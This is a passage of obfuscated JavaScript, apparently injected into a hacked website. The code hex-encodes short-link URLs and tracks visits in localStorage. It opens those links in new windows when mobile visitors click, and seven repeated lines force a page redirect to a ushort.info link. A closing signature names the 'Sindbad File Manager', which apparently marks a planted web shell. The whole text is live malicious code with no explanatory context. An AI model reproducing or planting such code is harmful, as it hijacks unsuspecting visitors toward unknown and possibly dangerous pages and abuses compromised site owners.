_0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x46\x6a\x68\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x69\x48\x52\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists